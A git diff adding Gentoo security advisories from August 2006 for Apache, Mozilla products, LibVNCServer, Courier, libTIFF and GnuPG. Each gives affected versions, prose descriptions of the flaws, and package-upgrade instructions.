+      <unaffected range="ge">2.0.58-r2</unaffected>
+      <vulnerable range="lt">2.0.58-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Apache HTTP server is one of the most popular web servers on the
+    Internet. The Apache module mod_rewrite provides a rule-based engine to
+    rewrite requested URLs on the fly.
+    </p>
+  </background>
+  <description>
+    <p>
+    An off-by-one flaw has been found in Apache's mod_rewrite module by
+    Mark Dowd of McAfee Avert Labs. This flaw is exploitable depending on
+    the types of rewrite rules being used.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could exploit the flaw to cause a Denial of Service
+    or execution of arbitrary code. Note that Gentoo Linux is not
+    vulnerable in the default configuration.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Apache users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose www-servers/apache</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3747">CVE-2006-3747</uri>
+    <uri link="http://www.apache.org/dist/httpd/Announcement2.0.html">Apache HTTP Server 2.0 Announcement</uri>
+    <uri link="http://www.apache.org/dist/httpd/Announcement1.3.html">Apache HTTP Server 1.3 Announcement</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 28 Jul 2006 11:10:33 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 28 Jul 2006 12:10:22 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 29 Jul 2006 21:48:21 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200608-02.xml b/xml/htdocs/security/en/glsa/glsa-200608-02.xml
new file mode 100644
index 00000000..bbabe7f2
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200608-02.xml
@@ -0,0 +1,131 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200608-02">
+  <title>Mozilla SeaMonkey: Multiple vulnerabilities</title>
+  <synopsis>
+    The Mozilla Foundation has reported numerous security vulnerabilities
+    related to Mozilla SeaMonkey.
+  </synopsis>
+  <product type="ebuild">SeaMonkey</product>
+  <announced>August 03, 2006</announced>
+  <revised>August 03, 2006: 01</revised>
+  <bug>141842</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/seamonkey" auto="yes" arch="*">
+      <unaffected range="ge">1.0.3</unaffected>
+      <vulnerable range="lt">1.0.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Mozilla SeaMonkey project is a community effort to deliver
+    production-quality releases of code derived from the application
+    formerly known as "Mozilla Application Suite".
+    </p>
+  </background>
+  <description>
+    <p>
+    The following vulnerabilities have been reported:
+    </p>
+    <ul>
+    <li>Benjamin Smedberg discovered that chrome URL's could be made to
+    reference remote files.</li>
+    <li>Developers in the Mozilla community
+    looked for and fixed several crash bugs to improve the stability of
+    Mozilla clients, which could lead to the execution of arbitrary code by
+    a remote attacker.</li>
+    <li>"shutdown" reports that cross-site
+    scripting (XSS) attacks could be performed using the construct
+    XPCNativeWrapper(window).Function(...), which created a function that
+    appeared to belong to the window in question even after it had been
+    navigated to the target site.</li>
+    <li>"shutdown" reports that scripts
+    granting the UniversalBrowserRead privilege can leverage that into the
+    equivalent of the far more powerful UniversalXPConnect since they are
+    allowed to "read" into a privileged context.</li>
+    <li>"moz_bug_r_a4"
+    reports that A malicious Proxy AutoConfig (PAC) server could serve a
+    PAC script that can execute code with elevated privileges by setting
+    the required FindProxyForURL function to the eval method on a
+    privileged object that leaked into the PAC sandbox.</li>
+    <li>"moz_bug_r_a4" discovered that Named JavaScript functions have a
+    parent object created using the standard Object() constructor
+    (ECMA-specified behavior) and that this constructor can be redefined by
+    script (also ECMA-specified behavior).</li>
+    <li>Igor Bukanov and
+    shutdown found additional places where an untimely garbage collection
+    could delete a temporary object that was in active use.</li>
+    <li>Georgi
+    Guninski found potential integer overflow issues with long strings in
+    the toSource() methods of the Object, Array and String objects as well
+    as string function arguments.</li>
+    <li>H. D. Moore reported a testcase
+    that was able to trigger a race condition where JavaScript garbage
+    collection deleted a temporary variable still being used in the
+    creation of a new Function object.</li>
+    <li>A malicious page can hijack
+    native DOM methods on a document object in another domain, which will
+    run the attacker's script when called by the victim page.</li>
+    <li>Secunia Research has discovered a vulnerability which is caused due
+    to an memory corruption error within the handling of simultaneously
+    happening XPCOM events. This leads to use of a deleted timer
+    object.</li>
+    <li>An anonymous researcher for TippingPoint and the Zero
+    Day Initiative showed that when used in a web page Java would reference
+    properties of the window.navigator object as it started up.</li>
+    <li>Thilo Girmann discovered that in certain circumstances a JavaScript
+    reference to a frame or window was not properly cleared when the
+    referenced content went away.</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A user can be enticed to open specially crafted URLs, visit webpages
+    containing malicious JavaScript or execute a specially crafted script.
+    These events could lead to the execution of arbitrary code, or the
+    installation of malware on the user's computer.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Thunderbird users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/seamonkey-1.0.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3113">CVE-2006-3113</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3677">CVE-2006-3677</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3801">CVE-2006-3801</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3802">CVE-2006-3802</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3803">CVE-2006-3803</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3804">CVE-2006-3804</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3805">CVE-2006-3805</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3806">CVE-2006-3806</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3807">CVE-2006-3807</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3808">CVE-2006-3808</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3809">CVE-2006-3809</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3810">CVE-2006-3810</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3811">CVE-2006-3811</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3812">CVE-2006-3812</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 28 Jul 2006 14:37:24 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 28 Jul 2006 18:00:11 +0000">
+    dizzutch
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 03 Aug 2006 16:55:20 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200608-03.xml b/xml/htdocs/security/en/glsa/glsa-200608-03.xml
new file mode 100644
index 00000000..06debbd1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200608-03.xml
@@ -0,0 +1,135 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200608-03">
+  <title>Mozilla Firefox: Multiple vulnerabilities</title>
+  <synopsis>
+    The Mozilla Foundation has reported numerous security vulnerabilities
+    related to Mozilla Firefox.
+  </synopsis>
+  <product type="ebuild">Firefox</product>
+  <announced>August 03, 2006</announced>
+  <revised>August 03, 2006: 01</revised>
+  <bug>141842</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/mozilla-firefox" auto="yes" arch="*">
+      <unaffected range="ge">1.5.0.5</unaffected>
+      <vulnerable range="lt">1.5.0.5</vulnerable>
+    </package>
+    <package name="www-client/mozilla-firefox-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.5.0.5</unaffected>
+      <vulnerable range="lt">1.5.0.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mozilla Firefox is a redesign of the Mozilla Navigator component. The
+    goal is to produce a cross-platform stand-alone browser application.
+    </p>
+  </background>
+  <description>
+    <p>
+    The following vulnerabilities have been reported:
+    </p>
+    <ul>
+    <li>Benjamin Smedberg discovered that chrome URL's could be made to
+    reference remote files.</li>
+    <li>Developers in the Mozilla community
+    looked for and fixed several crash bugs to improve the stability of
+    Mozilla clients.</li>
+    <li>"shutdown" reports that cross-site scripting
+    (XSS) attacks could be performed using the construct
+    XPCNativeWrapper(window).Function(...), which created a function that
+    appeared to belong to the window in question even after it had been
+    navigated to the target site.</li>
+    <li>"shutdown" reports that scripts
+    granting the UniversalBrowserRead privilege can leverage that into the
+    equivalent of the far more powerful UniversalXPConnect since they are
+    allowed to "read" into a privileged context.</li>
+    <li>"moz_bug_r_a4"
+    reports that A malicious Proxy AutoConfig (PAC) server could serve a
+    PAC script that can execute code with elevated privileges by setting
+    the required FindProxyForURL function to the eval method on a
+    privileged object that leaked into the PAC sandbox.</li>
+    <li>"moz_bug_r_a4" discovered that Named JavaScript functions have a
+    parent object created using the standard Object() constructor
+    (ECMA-specified behavior) and that this constructor can be redefined by
+    script (also ECMA-specified behavior).</li>
+    <li>Igor Bukanov and
+    shutdown found additional places where an untimely garbage collection
+    could delete a temporary object that was in active use.</li>
+    <li>Georgi
+    Guninski found potential integer overflow issues with long strings in
+    the toSource() methods of the Object, Array and String objects as well
+    as string function arguments.</li>
+    <li>H. D. Moore reported a testcase
+    that was able to trigger a race condition where JavaScript garbage
+    collection deleted a temporary variable still being used in the
+    creation of a new Function object.</li>
+    <li>A malicious page can hijack
+    native DOM methods on a document object in another domain, which will
+    run the attacker's script when called by the victim page.</li>
+    <li>Secunia Research has discovered a vulnerability which is caused due
+    to an memory corruption error within the handling of simultaneously
+    happening XPCOM events. This leads to use of a deleted timer
+    object.</li>
+    <li>An anonymous researcher for TippingPoint and the Zero
+    Day Initiative showed that when used in a web page Java would reference
+    properties of the window.navigator object as it started up.</li>
+    <li>Thilo Girmann discovered that in certain circumstances a JavaScript
+    reference to a frame or window was not properly cleared when the
+    referenced content went away.</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A user can be enticed to open specially crafted URLs, visit webpages
+    containing malicious JavaScript or execute a specially crafted script.
+    These events could lead to the execution of arbitrary code, or the
+    installation of malware on the user's computer.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mozilla Firefox users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-1.5.0.5&quot;</code>
+    <p>
+    Users of the binary package should upgrade as well:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-bin-1.5.0.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3113">CVE-2006-3113</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3677">CVE-2006-3677</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3801">CVE-2006-3801</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3802">CVE-2006-3802</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3803">CVE-2006-3803</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3805">CVE-2006-3805</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3806">CVE-2006-3806</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3807">CVE-2006-3807</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3808">CVE-2006-3808</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3809">CVE-2006-3809</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3810">CVE-2006-3810</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3811">CVE-2006-3811</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3812">CVE-2006-3812</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Fri, 28 Jul 2006 18:10:10 +0000">
+    dizzutch
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 03 Aug 2006 16:55:03 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200608-04.xml b/xml/htdocs/security/en/glsa/glsa-200608-04.xml
new file mode 100644
index 00000000..b0100f72
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200608-04.xml
@@ -0,0 +1,128 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200608-04">
+  <title>Mozilla Thunderbird: Multiple vulnerabilities</title>
+  <synopsis>
+    The Mozilla Foundation has reported numerous security vulnerabilities
+    related to Mozilla Thunderbird.
+  </synopsis>
+  <product type="ebuild">Thunderbird</product>
+  <announced>August 03, 2006</announced>
+  <revised>August 03, 2006: 01</revised>
+  <bug>141842</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-client/mozilla-thunderbird" auto="yes" arch="*">
+      <unaffected range="ge">1.5.0.5</unaffected>
+      <vulnerable range="lt">1.5.0.5</vulnerable>
+    </package>
+    <package name="mail-client/mozilla-thunderbird-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.5.0.5</unaffected>
+      <vulnerable range="lt">1.5.0.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Mozilla Thunderbird mail client is a redesign of the Mozilla Mail
+    component. The goal is to produce a cross-platform stand-alone mail
+    application using XUL (XML User Interface Language).
+    </p>
+  </background>
+  <description>
+    <p>
+    The following vulnerabilities have been reported:
+    </p>
+    <ul>
+    <li>Benjamin Smedberg discovered that chrome URLss could be made to
+    reference remote files.</li>
+    <li>Developers in the Mozilla community
+    looked for and fixed several crash bugs to improve the stability of
+    Mozilla clients.</li>
+    <li>"shutdown" reports that cross-site scripting
+    (XSS) attacks could be performed using the construct
+    XPCNativeWrapper(window).Function(...), which created a function that
+    appeared to belong to the window in question even after it had been
+    navigated to the target site.</li>
+    <li>"shutdown" reports that scripts
+    granting the UniversalBrowserRead privilege can leverage that into the
+    equivalent of the far more powerful UniversalXPConnect since they are
+    allowed to "read" into a privileged context.</li>
+    <li>"moz_bug_r_a4"
+    discovered that Named JavaScript functions have a parent object created
+    using the standard Object() constructor (ECMA-specified behavior) and
+    that this constructor can be redefined by script (also ECMA-specified
+    behavior).</li>
+    <li>Igor Bukanov and shutdown found additional places
+    where an untimely garbage collection could delete a temporary object
+    that was in active use.</li>
+    <li>Georgi Guninski found potential
+    integer overflow issues with long strings in the toSource() methods of
+    the Object, Array and String objects as well as string function
+    arguments.</li>
+    <li>H. D. Moore reported a testcase that was able to
+    trigger a race condition where JavaScript garbage collection deleted a
+    temporary variable still being used in the creation of a new Function
+    object.</li>
+    <li>A malicious page can hijack native DOM methods on a
+    document object in another domain, which will run the attacker's script
+    when called by the victim page.</li>
+    <li>Secunia Research has
+    discovered a vulnerability which is caused due to an memory corruption
+    error within the handling of simultaneously happening XPCOM events.
+    This leads to use of a deleted timer object.</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A user can be enticed to open specially crafted URLs, visit webpages
+    containing malicious JavaScript or execute a specially crafted script.
+    These events could lead to the execution of arbitrary code, or the
+    installation of malware on the user's computer.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mozilla Thunderbird users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/mozilla-thunderbird-1.5.0.5&quot;</code>
+    <p>
+    All Mozilla Thunderbird binary users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/mozilla-thunderbird-bin-1.5.0.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3113">CVE-2006-3113</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3802">CVE-2006-3802</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3803">CVE-2006-3803</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3804">CVE-2006-3804</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3805">CVE-2006-3805</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3806">CVE-2006-3806</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3807">CVE-2006-3807</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3809">CVE-2006-3809</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3810">CVE-2006-3810</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3811">CVE-2006-3811</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3812">CVE-2006-3812</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 28 Jul 2006 14:37:07 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 28 Jul 2006 18:08:55 +0000">
+    dizzutch
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 03 Aug 2006 16:54:43 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200608-05.xml b/xml/htdocs/security/en/glsa/glsa-200608-05.xml
new file mode 100644
index 00000000..e96fdf2a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200608-05.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200608-05">
+  <title>LibVNCServer: Authentication bypass</title>
+  <synopsis>
+    VNC servers created with LibVNCServer accept insecure protocol types, even
+    when the server does not offer it, resulting in unauthorized access to the
+    server.
+  </synopsis>
+  <product type="ebuild">libvncserver</product>
+  <announced>August 04, 2006</announced>
+  <revised>August 04, 2006: 01</revised>
+  <bug>136916</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-libs/libvncserver" auto="yes" arch="*">
+      <unaffected range="ge">0.8.2</unaffected>
+      <vulnerable range="lt">0.8.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    LibVNCServer is a GPL'ed library for creating VNC servers.
+    </p>
+  </background>
+  <description>
+    <p>
+    LibVNCServer fails to properly validate protocol types effectively
+    letting users decide what protocol to use, such as "Type 1 - None".
+    LibVNCServer will accept this security type, even if it is not offered
+    by the server.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could use this vulnerability to gain unauthorized access
+    with the privileges of the user running the VNC server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All LibVNCServer users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-libs/libvncserver-0.8.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2450">CVE-2006-2450</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 29 Jul 2006 16:47:24 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 29 Jul 2006 16:50:23 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 31 Jul 2006 01:51:07 +0000">
+    hlieberman
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200608-06.xml b/xml/htdocs/security/en/glsa/glsa-200608-06.xml
new file mode 100644
index 00000000..6865b2be
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200608-06.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200608-06">
+  <title>Courier MTA: Denial of Service vulnerability</title>
+  <synopsis>
+    Courier MTA has fixed a DoS issue related to usernames containing a "="
+    character.
+  </synopsis>
+  <product type="ebuild">Courier</product>
+  <announced>August 04, 2006</announced>
+  <revised>August 04, 2006: 01</revised>
+  <bug>135005</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-mta/courier" auto="yes" arch="*">
+      <unaffected range="ge">0.53.2</unaffected>
+      <vulnerable range="lt">0.53.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Courier MTA is an integrated mail and groupware server based on open
+    protocols.
+    </p>
+  </background>
+  <description>
+    <p>
+    Courier MTA has fixed a security issue relating to usernames containing
+    the "=" character, causing high CPU utilization.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could exploit this vulnerability by sending a specially
+    crafted email to a mail gateway running a vulnerable version of Courier
+    MTA.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Courier MTA users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-mta/courier-0.53.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2659">CVE-2006-2659</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 02 Aug 2006 13:22:29 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 02 Aug 2006 13:22:37 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 02 Aug 2006 13:39:08 +0000">
+    dizzutch
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200608-07.xml b/xml/htdocs/security/en/glsa/glsa-200608-07.xml
new file mode 100644
index 00000000..431b5b86
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200608-07.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200608-07">
+  <title>libTIFF: Multiple vulnerabilities</title>
+  <synopsis>
+    libTIFF contains several vulnerabilities that could result in arbitrary
+    code execution.
+  </synopsis>
+  <product type="ebuild">tiff</product>
+  <announced>August 04, 2006</announced>
+  <revised>August 04, 2006: 01</revised>
+  <bug>142383</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/tiff" auto="yes" arch="*">
+      <unaffected range="ge">3.8.2-r2</unaffected>
+      <vulnerable range="lt">3.8.2-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libTIFF provides support for reading and manipulating TIFF images.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy of the Google Security Team discovered several heap and
+    stack buffer overflows and other flaws in libTIFF. The affected parts
+    include the TIFFFetchShortPair(), TIFFScanLineSize() and
+    EstimateStripByteCounts() functions, and the PixarLog and NeXT RLE
+    decoders.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted TIFF
+    file, resulting in the possible execution of arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libTIFF users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/tiff-3.8.2-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3459">CVE-2006-3459</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3460">CVE-2006-3460</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3461">CVE-2006-3461</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3462">CVE-2006-3462</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3463">CVE-2006-3463</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3464">CVE-2006-3464</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3465">CVE-2006-3465</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 03 Aug 2006 11:25:07 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 04 Aug 2006 09:34:08 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200608-08.xml b/xml/htdocs/security/en/glsa/glsa-200608-08.xml
new file mode 100644
index 00000000..10f5c5c4
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200608-08.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200608-08">
+  <title>GnuPG: Integer overflow vulnerability</title>
+  <synopsis>
+    GnuPG is vulnerable to an integer overflow that could lead to the execution
+    of arbitrary code.
+  </synopsis>
+  <product type="ebuild">gnupg</product>
+  <announced>August 05, 2006</announced>
+  <revised>August 08, 2006: 02</revised>
+  <bug>142248</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-crypt/gnupg" auto="yes" arch="*">
+      <unaffected range="ge">1.4.5</unaffected>
+      <vulnerable range="lt">1.4.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The GNU Privacy Guard, GnuPG, is a free replacement for the PGP suite
+    of cryptographic software.
+    </p>
+  </background>
+  <description>
+    <p>
+    Evgeny Legerov discovered a vulnerability in GnuPG that when certain
+    packets are handled an integer overflow may occur.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    By sending a specially crafted email to a user running an affected
+    version of GnuPG, a remote attacker could possibly execute arbitrary
+    code with the permissions of the user running GnuPG.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GnuPG users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;=app-crypt/gnupg-1.4*&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3746">CVE-2006-3746</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 02 Aug 2006 13:24:55 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 02 Aug 2006 13:48:08 +0000">
+    dizzutch
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 05 Aug 2006 11:09:20 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200608-09.xml b/xml/htdocs/security/en/glsa/glsa-200608-09.xml
new file mode 100644
index 00000000..17c841f7
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200608-09.xml
